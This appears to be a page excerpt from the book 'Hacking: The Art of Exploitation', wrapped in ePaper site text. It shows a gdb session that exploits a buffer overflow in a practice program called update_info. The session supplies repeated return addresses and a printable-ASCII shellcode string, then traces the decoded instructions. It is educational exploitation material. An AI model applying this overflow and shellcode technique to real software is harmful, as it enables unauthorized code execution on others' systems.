26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

0x080484b5 : lea eax,[ebp-24]<br />

0x080484b8 : mov DWORD PTR [esp],eax<br />

0x080484bb : call 0x8048388 <br />

0x080484c0 : mov eax,DWORD PTR [ebp+12]<br />

0x080484c3 : mov DWORD PTR [esp+8],eax<br />

0x080484c7 : lea eax,[ebp-24]<br />

0x080484ca : mov DWORD PTR [esp+4],eax<br />

0x080484ce : mov DWORD PTR [esp],0x80487a0<br />

0x080484d5 : call 0x8048398 <br />

0x080484da : leave<br />

0x080484db : ret<br />

End <strong>of</strong> assembler dump.<br />

(gdb) break *0x080484db<br />

Breakpoint 1 at 0x80484db: file update_info.c, line 21.<br />

(gdb) run $(perl -e 'print "AAAA"x10') $(cat ./printable)<br />

St<strong>art</strong>ing program: /home/reader/booksrc/update_info $(perl -e 'print "AAAA"x10') $(cat ./<br />

printable)<br />

[DEBUG]: desc argument is at 0xbffff8fd<br />

Program received signal SIGSEGV, Segmentation fault.<br />

0xb7f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6<br />

(gdb) run $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable)<br />

The program being debugged has been st<strong>art</strong>ed already.<br />

St<strong>art</strong> it from <strong>the</strong> beginning? (y or n) y<br />

St<strong>art</strong>ing program: /home/reader/booksrc/update_info $(perl -e 'print "\xfd\xf8\xff\xbf"x10')<br />

$(cat ./printable)<br />

[DEBUG]: desc argument is at 0xbffff8fd<br />

Updating product # with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-<br />

yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-<br />

%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP'<br />

Breakpoint 1, 0x080484db in update_product_description (<br />

id=0x72727550 ,<br />

desc=0x5454212d ) at update_info.c:21<br />

21 }<br />

(gdb) stepi<br />

0xbffff8fd in ?? ()<br />

(gdb) x/9i $eip<br />

0xbffff8fd: push esp<br />

0xbffff8fe: pop eax<br />

0xbffff8ff: sub eax,0x39393333<br />

0xbffff904: sub eax,0x72727550<br />

0xbffff909: sub eax,0x54545421<br />

0xbffff90e: push eax<br />

0xbffff90f: pop esp<br />

0xbffff910: and eax,0x454e4f4a<br />

0xbffff915: and eax,0x3a313035<br />

(gdb) i r esp<br />

esp 0xbffff6d0 0xbffff6d0<br />

(gdb) p /x $esp + 860<br />

$1 = 0xbffffa2c<br />

(gdb) stepi 9<br />

0xbffff91a in ?? ()<br />

(gdb) i r esp eax<br />

374 0x600

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!